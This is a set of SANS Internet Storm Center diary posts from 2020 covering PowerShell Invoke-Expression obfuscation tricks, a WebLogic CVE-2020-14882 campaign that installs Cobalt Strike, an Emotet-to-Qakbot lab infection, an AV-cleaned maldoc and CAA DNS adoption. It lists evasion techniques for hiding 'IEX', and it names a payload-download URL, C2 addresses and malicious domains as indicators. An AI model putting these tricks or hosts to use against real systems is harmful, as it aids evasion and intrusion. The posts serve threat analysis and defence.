ISC Stormcast For Friday, November 6th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7242, (Fri, Nov 6th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 5.

Did You Spot "Invoke-Expression"&#x3f;, (Thu, Nov 5th)

When a PowerShell script is obfuscated, the deobfuscation process is, most of the time, performed through the Invoke-Expression cmdlet[1]. Invoke-Expression evaluates the string passed as an argument and returns the results of the commands inside the string. Example:

PS C:\Users\xavier> $a="1+1" PS C:\Users\xavier> Invoke-Expression $a 2 PS C:\Users\xavier> $a="(Invoke-WebRequest 'https://isc.sans.edu/api/handler').Content" PS C:\Users\xavier> Invoke-Expression $a <?xml version="1.0" encoding="UTF-8"?> <handler> <name>Xavier Mertens</name> </handler>

Here is another version of the previous example now obfuscated and handled via Invoke-Expression:`

PS C:\Users\xavier> $a="(Invoke-WebRequest ('hXtXtXpXsX:X/X/XiXsXcX.XsXaXnXsX.XeXdXuX/XaXpXiX/XhXaXnXdXlXeXr'-replace([char]88,''))).Content" PS C:\Users\xavier> Invoke-Expression $a <?xml version="1.0" encoding="UTF-8"?> <handler> <name>Xavier Mertens</name> </handler>

You understand now that the presence of Invoke-Expression in a PowerShell script can be an interesting indicator of malicious activity. You can roughly compare Invoke-Expression to eval() in JavaScript or exec() in Python and, as I like to say, eval() is evil. If Invoke-Expression is used to deobfuscate some code, it is a common string to search for. Guess what? Attackers are trying to hide the use of this cmdlet by implementing more obfuscation. Here is a list of common obfuscation tricks that I spotted while hunting for malicious PowerShell.

One of the PowerShell features is the use of compressed or abbreviated cmdlet names. Instead of using the full name, 'Invoke-Expression' is most of the time replaced by 'IEX'. This three-characters string is then replaced by something more unreadable.

Example 1: Some characters are replaced:

'DEX'.replace('D','I')

Example 2: Concatenation of characters, some of them extracted from a specific position in another string. $PSHome = 'C:\Windows\System32\WindowsPowerShell\v1.0'.

$PSHome[21]+$PSHOme[34]+'x'

Example 3: Back quote pollution (simply ignored by PowerShell)

IE`x

Example 4: Extraction of characters from a string with a 'join':

( $VERBOSePRefereNCe.toSTRiNG()[1,3]+'X'-join'')

Example 5: More character extraction. $env:ComSpec = 'C:\WINDOWS\system32\cmd.exe'

$ENV:COMsPEc[4,15,25]

When having a look at the suspicious script, the first goal is to try to spot the presence of this Invoke-Expression. Once found, a quick and dirty debugging technique is to replace the 'iex' occurrence with a simple 'echo' to get access to the deobfuscated code!

The number of combinations is almost infinite but that's the ones that I spot most frequently. Did you spot other techniques? Feel free to share them!

[1] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 5.

ISC Stormcast For Thursday, November 5th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7240, (Thu, Nov 5th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 4.

ISC Stormcast For Wednesday, November 4th 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7238, (Wed, Nov 4th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 4.

Attackers Exploiting WebLogic Servers via CVE-2020-14882 to install Cobalt Strike, (Tue, Nov 3rd)

Starting late last week, we observed a large number of scans against our WebLogic honeypots to detect if they are vulnerable to CVE-2020-14882. CVE-2020-14882 was patched about two weeks ago as part of Oracle's quarterly critical patch update. In addition to scans simply enumerating vulnerable servers, we saw a small number of scans starting on Friday (Oct. 30th) attempting to install crypto-mining tools [1].

On Friday, Oracle amended its patch for CVE-2020-14882 [2]. A new variation of the vulnerability (CVE-2020-14750) can be used to exploit WebLogic servers with a trivial modification of the exploit code.

Last Saturday we started seeing a campaign using a chain of Powershell obfuscated scripts to download a Cobalt Strike payload. According to Cisco Talos Q4 2020 CTIR report, 66% of all ransomware attacks this quarter involved the use of Cobalt Strike [3]. Thus, as expected, there is a high probability ransomware gang included CVE-2020-14882 exploit in their arsenal. 

The attack, as seen in Figure 1, exploits the vulnerability to execute a PowerShell payload base64-encoded. 

Figure 1 - Payload delivery

Decoding the base64 content, we can find the following code. As seen, there is another encoding layer using base64 and gzip compression. I usually make some adjustments to the original malicious script to make it save the decoded content to a file. So, replacing “IEX” by “$content =” and appending the script with “$content |out-file -filepath decoded_script.ps1” is enough to accomplish this result for this case.

Figure 2 - First stage decoding

Part of the resulting code is shown in Figure 3. Notice that there is another protected code. There is a loop decrypting each byte of the code using an XOR function with the byte 0x35. 

Figure 3 - Second stage decoding

The result of this operation is a shellcode to download and execute a Cobalt Strike payload hosted at http://185[.]205.210.179:4321/Z8qZ.

Figure 4 - Cobalt Strike payload download

Submitting the binary to VirusTotal, we had the following result:

]

Figure 5 - Cobalt Strike payload submitted to Virus Total

Running the malicious scripts in a controlled environment, it was possible to see connections established from time to time with the C2 at http://185[.]205.210.179/en_US/all.js.

References
[1] https://isc.sans.edu/forums/diary/PATCH+NOW+CVE202014882+Weblogic+Actively+Exploited+Against+Honeypots/26734/

[2] https://www.oracle.com/security-alerts/alert-cve-2020-14750.html#AppendixFMWl
[3] https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html


IOCs:

45[.]134.26.174
http://185[.]205.210.179:4321/Z8qZ
http://185[.]205.210.179/en_US/all.js

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 3.

ISC Stormcast For Tuesday, November 3rd 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7236, (Tue, Nov 3rd)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 3.

Emotet -> Qakbot -> more Emotet, (Tue, Nov 3rd)

Introduction

On Friday 2020-10-30, I generated an Emotet infection in my lab and saw Qakbot as the follow-up malware.  I let the activity run for a while, then another Emotet infection appeared on the same host after Qakbot started.

This appears to be an Emotet to Qakbot to another Emotet infection, with all three infections persistent on my infected lab host.


Shown above:  Flow chart for the infection chain I saw on Tuesday 2020-10-27.

Today's diary reviews this Emotet to Qakbot to more Emotet infection from last week.

The malspam

The malicious spam (malspam) was a Halloween-themed message sent on Thursday 2020-10-29 to one of my honeypot email accounts.  It had a Word doc attached to the message.  The Word doc has a malicious macro designed to infect a vulnerable Windows host with Emotet.


Shown above:  Halloween-themed malspam with malicious Word doc attachment pushing Emotet.

The attached Word document uses a template that's typical for recent Word docs pushing Emotet.


Shown above:  Word doc with macro for Emotet.

Infection traffic

The traffic didn't look much different than what I've seen before for Emotet to Qakbot infections, there just seemed to be more Emotet traffic than normal after the Qakbot traffic kicked in.  That didn't seem too unusual, though.


Shown above:  Start of the infection traffic filtered in Wireshark.


Shown above:  Traffic from the end of my pcap filtered in Wireshark.

In the above image, Emotet traffic is more frequent than I usually see.  Usually, Emotet will call back every 15 minutes, unless the host has been turned into a spambot.  Emotet spambot activity includes more frequent C2 callback traffic, but we would also see indicators of spambot traffic, and that's not the case here.

Forensics on an infected Windows host

When I checked the registry, I saw two entries for Emotet.  When Emotet updates itself, it will replace an already existing binary.  I'd never personally seen two separate Emotet binaries active and set up in the registry like this.


Shown above:  Windows registry updates from my infected lab host.



Shown above:  Persistent Emotet EXE from 1st Emotet infection and Qakbot follow-up malware.


Shown above:  Qakbot persistent on my infected lab host.


Shown above:  Another Emotet infection persistent approximately 17 minutes after the initial Qakbot EXE appeared.

Of note, Emotet backdates the persistent EXE files 8 days before the current date.  So the modified date on both of these Emotet EXE files is 2020-10-22, but the timestamp is the correct time for 2020-10-30.  Based on the timestamps for these binaries, it appears that Qakbot caused the second Emotet infection.

Indicators of Compromise (IOCs)

SHA256 hash: ed51269c3602786ff6ddef3a808d8178d26e4e5960f4ac7af765e4bd642128dd

  • File size: 233,466 bytes
  • File name: Party invitation.doc
  • File description: Word doc with macro for Emotet

SHA256 hash: a4c780c8b6ecb7d73f7498a4a46286cf2a2ecc6f378e2ba89deea06591c3cc04

  • File size: 364,544 bytes
  • File location: hxps://imperfectdream[.]com/wp-content/xb2csjPW6/
  • File location: C:\Users\[username]\Nscs8ry\S8t4g_l\Epl6_wa2m.exe
  • File location: C:\Users\[username]\AppData\Local\msexcl40\msimg32.exe
  • File description: Emotet EXE retrieved by Word macro

SHA256 hash: dcda70b5cc63629dd2760dbc76ffda0bedefd0ee92af4d4e3740acc7dd2eaff2

  • File size: 261,080 bytes
  • File location: C:\Users\[username]\AppData\Local\msexcl40\cryptnet7e4.exe
  • File location: C:\Users\[username]\AppData\Roaming\Microsoft\Gzzndshwwc\rrcbu.exe
  • File description: Qakbot EXE retrieved by the Emotet-infected host

SHA256 hash: 4180c4c11e631a7545d40dadb74280c00f53271a75b113c387bb87adaf2cecf7

  • File size: 318,992 bytes
  • File location: C:\Users\[username]\AppData\Roaming\Microsoft\Gzzndshwwc\rrcbu.exe
  • File description: Updated Qakbot EXE persistent on the infected Windows host

SHA256 hash: 4d1eeb527a61391ddcf30b0f9d6d9f96369e0179c1e1a65da5da33a196a991d4

  • File size: 192,512 bytes
  • File location: C:\Users\[username]\AppData\Local\AccountsControlInternal\mfc40.exe
  • File description: Another Emotet EXE persistent on the infected Windows host

HTTPS traffic caused by Word macro to retrieve initial Emotet EXE:

  • port 443 - enjoymylifecheryl[.]com
  • port 443 - homewatchamelia[.]com
  • port 443 - seramporemunicipality[.]org
  • port 443 - imperfectdream[.]com

HTTP traffic caused by the two Emotet infections:

  • 91.121.200[.]35 port 8080 - 91.121.200[.]35:8080
  • 45.230.228[.]26 port 443 - 45.230.228[.]26:443
  • 172.91.208[.]86 port 80 - 172.91.208[.]86
  • 50.91.114[.]38 port 80 - 50.91.114[.]38
  • 121.124.124[.]40 port 7080 - 121.124.124[.]40:7080
  • 167.99.105[.]11 port 8080 - 167.99.105[.]11:8080
  • 159.203.16[.]11 port 8080 - 159.203.16[.]11:8080
  • 188.226.165[.]170 port 8080 - 188.226.165[.]170:8080
  • 75.127.14[.]170 port 8080 - 75.127.14[.]170:8080

Traffic caused by Qakbot:

  • 47.44.217[.]98 port 443 - HTTPS traffic
  • 89.105.198[.]119 port 80 - a.strandsglobal[.]com - attempted TCP connections
  • port 443 - cdn.speedof[.]me - HTTPS traffic

Caused by Qakbot and Emotet:

  • various IP addresses - various ports - attempted TCP connections

Final words

In order to become infected, a victim must open the Word document and enable macros.  In most cases, people would see a warning against enabling macros.  Just opening the Word document by itself should not kick off the infection chain, unless the computer was set up to have macros automatically enabled.

Although Emotet pushes other families of malware like Qakbot, this is the first time I've seen indications that Qakbot has pushed Emotet.

A zip archive containing a pcap from today's infection is available here.  The Word doc and EXE files from the IOCs have been submitted to MalwareBazaar Database.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 2.

AV Cleaned Maldoc, (Fri, Oct 30th)

An anonymous reader reported an unusual malicious Office document.

This is oledump's output for this file:

Although there is a VBA storage and all the usual streams associated with VBA macros, oledump does not display macro indicators (M or m).

In such cases, I always use option -i like this:

 

When you use option -i (--info) without options -s, an extra column is added to the overview of streams. For all VBA module streams, a value like c+s will be displayed in that column. c stands for compiled code and s for source code.

For example, for stream 5, we have value 1355+161: this means that the first 1355 bytes of this stream contain compiled VBA code, and the following 161 bytes contain compressed VBA source code. Remark that the sum of 1355 and 161 is 1516, e.g. the size of the stream.

So now we know that stream 5, 15 and 17 are VBA modules, but that there's something unusual with them (otherwise we would see a macro indicator: M or m).

Let's take a look at the content of stream 5: I use option -A to output a run-length compressed hexadecimal/ASCII dump. If there are repeating rows in the hexadecimal/ASCII dump, they will be counted and removed:

The first row is all NULL bytes (00), and the following 83 rows too. And then we have some binary data with a repeating ASCII string: 'fixed.

When I see this, I start to think that this is a malicious Office document that has been cleaned: the malicious code has been removed. Let's check, by taking a look at the compiled code and the VBA code separately. I'll start with the compiled code:

The 1355 bytes of compiled code are all 00: that's not normal.

The source code:

VBA source code is compressed, but doesn't look like this. If you try to decompress the VBA source code with option -v, like we usually do, it will not work. option -v is specific for compressed VBA source code produced by an Office application. If you want to decompress any data (including VBA source code), you have to use option --decompress like this (I'm also using option -d to dump the output):

So this is indeed compressed ASCII text: a repetition of the line 'fixed.

But it is not VBA code compressed by an Office application, as it does not start with "Attribute VB_.." (option -v searches for VBA code staring with Attribute VB_...).

So this certainly looks to me like a malicious Office document where the VBA macros have been cleaned by an anti-virus program. But which AV?

We get a good clue by looking at the compressed data of stream 15:

The first line reads: 'macro Fixed By 360.QEX

That's the AV of Qihoo 360: 360 Safeguard. That's very thoughtful of the developers to add a message that helps me identify the AV product that did this.

So the module streams have been wiped: no compiled code and no source code. This maldoc can no longer execute.

But there are some other streams that contain compiled code too, like stream _VBA_PROJECT:

This one has not been cleaned. Let's take a look at the strings inside this stream:

So we have ShellV and different strings that look like BASE64: this is probably a maldoc that executes a PowerShell command.

I tried to find back the original maldoc using the method I described in this diary entry, but I had no success.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 2.

ISC Stormcast For Monday, November 2nd 2020 https://isc.sans.edu/podcastdetail.html&#x3f;id=7234, (Mon, Nov 2nd)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 1.

Wireshark 3.2.8 and 3.4.0 Released, (Sun, Nov 1st)

Wireshark version 3.2.8 and version 3.4.0 were released.

Both versions have vulnerability and bug fixes.

Version 3.4.0 Windows installers ship with Npcap 1.00, the major release of Nmap's Windows packet capture driver that is considered production-ready.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. október 31.

More File Selection Gaffes, (Sat, Oct 31st)

A reader submitted a file, that turned out to be a mass mailer project file used by malicious actors.

This malicious actor was not the only one mistakingly sending out their mass mailer project file: I found many other files.

What follows is an overview of various fake email templates defined in these mass mailer project files. Some of them are very basic, while others look exactly like legitimate emails.

I highlighted mailing variables ([[-Email-]], [[-Domain-]]) used in these templates.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. október 30.

Quick Status of the CAA DNS Record Adoption, (Fri, Oct 30th)

In 2017, we already published a guest diary[1] about "CAA" or "Certification Authority Authorization". I was curious about the status of this technique and the adoption level in 2020. Has it been adopted massively since this diary? The initial RFC describing CAA has been issued in 2013 (RFC6844[2]). Since 2019, it is obsolete and has been replaced by RFC8659[3]. Just a quick reminder about the purpose of this DNS record. It is used to specify which certificate authority(ies) (CAs) is(are) allowed to issue certificates for a domain. When the first diary was posted, not all DNS query tools supported CAA records by default. It was often required to query for a 'type257'  record, then decode the output. Today, all tools support it pretty well:

$ dig rootshell.be caa ; <<>> DiG 9.10.6 <<>> rootshell.be caa ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50111 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;rootshell.be. IN CAA ;; ANSWER SECTION: rootshell.be. 60 IN CAA 0 issue "letsencrypt.org" ;; AUTHORITY SECTION: . 3499 IN NS k.root-servers.net. . 3499 IN NS h.root-servers.net. . 3499 IN NS c.root-servers.net. . 3499 IN NS f.root-servers.net. . 3499 IN NS b.root-servers.net. . 3499 IN NS g.root-servers.net. . 3499 IN NS j.root-servers.net. . 3499 IN NS l.root-servers.net. . 3499 IN NS d.root-servers.net. . 3499 IN NS a.root-servers.net. . 3499 IN NS i.root-servers.net. . 3499 IN NS e.root-servers.net. . 3499 IN NS m.root-servers.net. ;; Query time: 48 msec ;; SERVER: 192.168.254.130#53(192.168.254.130) ;; WHEN: Thu Oct 29 16:56:51 CET 2020 ;; MSG SIZE rcvd: 286

 

This output means, based on the value of CAA record, that only letsencrypt.org is authorized to generate certificates for the domain rootshell.be (and its subdomains). As the RFC says: "CAA Resource Records allow a public CA to implement additional controls to reduce the risk of unintended certificate mis-issue". Great!

If it's so easy to implement, we can presume that most of the registered domains on the Internet have a CAA record, right? To verify this, I downloaded a copy of the good old Alexa top-1 million domains list. The list is not free anymore but it’s possible to find old versions. For all those domains, I tried to resolve potential CAA records then I generated some statistics. I wrote a quick script to automate this task. At the end of the execution, it resolved 744060 domains. Let's have a look at the numbers.

It's quite surprising that, still today, only 3% of the domains listed in the Alexa list implemented a CAA record.

They are 3 CAA 'properties' available:

  • "issue" : Grant authorization to issue certificates related to the domain.
  • "issuewild" : Grant authorization to issue wild certificates related to the domain.
  • "iodef" : Specifies a means of reporting certificate issue requests or cases of certificate issue.

Here are the number of each property found:

The property issue may contain one of more certificate authorities (separated with a ';') but it's also possible to give a single ';' character. Is this case, it means that NO certificate authority is allowed to generate a certiicate for the domain. I found 358(!) of such domains. (lun.com is one of these domains).

Now, let's have a look at the CA landscape. What are the most used?

Note: To reduce the graph size, the listed CA are those that were used at least 5 times.

No surprise, we see Digicert and Let's Encrypt at the top. This CA has been adopted by many organisations or private people to generate free certificates. It is very popular also for attackers because it helps them to improve the quality of their phishing sites (just an example).

But, is Let's Encrypt also popular amongst the top domain owners? Let's have a look. Again, from the Alexa list, the first domain that returned a CAA record mentioning letsencrypt.org was at position 187 (deepl.com). It accepts two CA's:

;; ANSWER SECTION: deepl.com. 300 IN CAA 0 issue "letsencrypt.org" deepl.com. 300 IN CAA 0 issue "sectigo.com"

Let's draw the same graph has above but only for the 187 first domains who have at least one CAA record.

You can see those most popular websites do not use Let's Encrypt and prefer to rely on "popular" CA's or, like the monster Google, rely on your own.

If you did not implemented yet a CAA record, have a look at it. It's easy and  most DNS providers support them out of the box. You should be able to create them in your classic DNS management interface.

[1] https://isc.sans.edu/forums/diary/CAA+Records+and+Certificate+Issuance/22342
[2] https://tools.ietf.org/html/rfc6844
[3] https://tools.ietf.org/html/rfc8659

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.